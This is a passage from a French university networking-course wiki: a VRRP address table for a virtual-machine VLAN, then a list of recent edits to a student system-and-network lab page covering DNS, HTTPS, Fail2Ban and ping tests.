Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E8

2026-02-10T15:40:02Z

Yyahiani : /* Test de la LAN */

Fichier:Ipv6.png

2026-02-10T15:39:02Z

Yyahiani :

Atelier SysRes SE4 2025/2026 E8

2026-02-10T15:38:42Z

Yyahiani : /* Test vers l'extérieur */

Fichier:Ping ipv6.png

2026-02-10T15:38:01Z

Yyahiani : Yyahiani a téléversé une nouvelle version de Fichier:Ping ipv6.png

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:54:07Z

Yyahiani : /* HTTPS */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:52:56Z

Yyahiani : /* Configuration du domaine sécurisé */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:51:52Z

Yyahiani : /* Activation du port HTTPS */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:51:27Z

Yyahiani : /* Génération des clés */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:50:31Z

Yyahiani : /* Fail2Ban */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:48:00Z

Yyahiani : /* Fail2Ban */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:46:24Z

Yyahiani : /* Génération des clés */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:45:28Z

Yyahiani : /* Configuration de la méthode automatique */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:44:37Z

Yyahiani : /* Vérifications */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:43:02Z

Yyahiani : /* Vérifications */

Fichier:DNS.png

2026-02-07T17:42:56Z

Yyahiani :

Propagation de rs7.online en IPv6

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:41:41Z

Yyahiani : /* Création et configuration du fichier .zone */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:35:59Z

Yyahiani : /* Configuration des zones */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:35:44Z

Yyahiani : /* Configuration des zones */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:31:03Z

Yyahiani :

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:28:23Z

Yyahiani : /* Configuration du résolveur */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:12:56Z

Yyahiani : /* IP */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:10:56Z

Yyahiani : /* IP */

Fichier:Ping ipv6.png

2026-02-07T17:10:19Z

Yyahiani : Yyahiani a téléversé une nouvelle version de Fichier:Ping ipv6.png

Atelier SysRes SE4 2025/2026 E8

2026-02-07T17:07:08Z

Yyahiani : /* IP */

Fichier:Ping ipv4.png

2026-02-07T17:06:05Z

Yyahiani :

ping de RS7 vers Google en IPv4

Fichier:Ping Garage.png

2026-02-07T17:05:33Z

Yyahiani :

ping de RS7 vers Garage

Fichier:Ping C2.png

2026-02-07T17:04:57Z

Yyahiani :

ping de RS7 vers C2

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:26:57Z

Yyahiani : /* VM mandataire */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:25:48Z

Yyahiani : /* VM mandataire */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:23:41Z

Yyahiani : /* VM de service */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:14:49Z

Yyahiani :

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:14:12Z

Yyahiani : /* Partitions */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:12:30Z

Yyahiani : /* Partitions */

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:10:42Z

Yyahiani :

Atelier SysRes SE4 2025/2026 E8

2026-02-07T16:09:37Z

Yyahiani :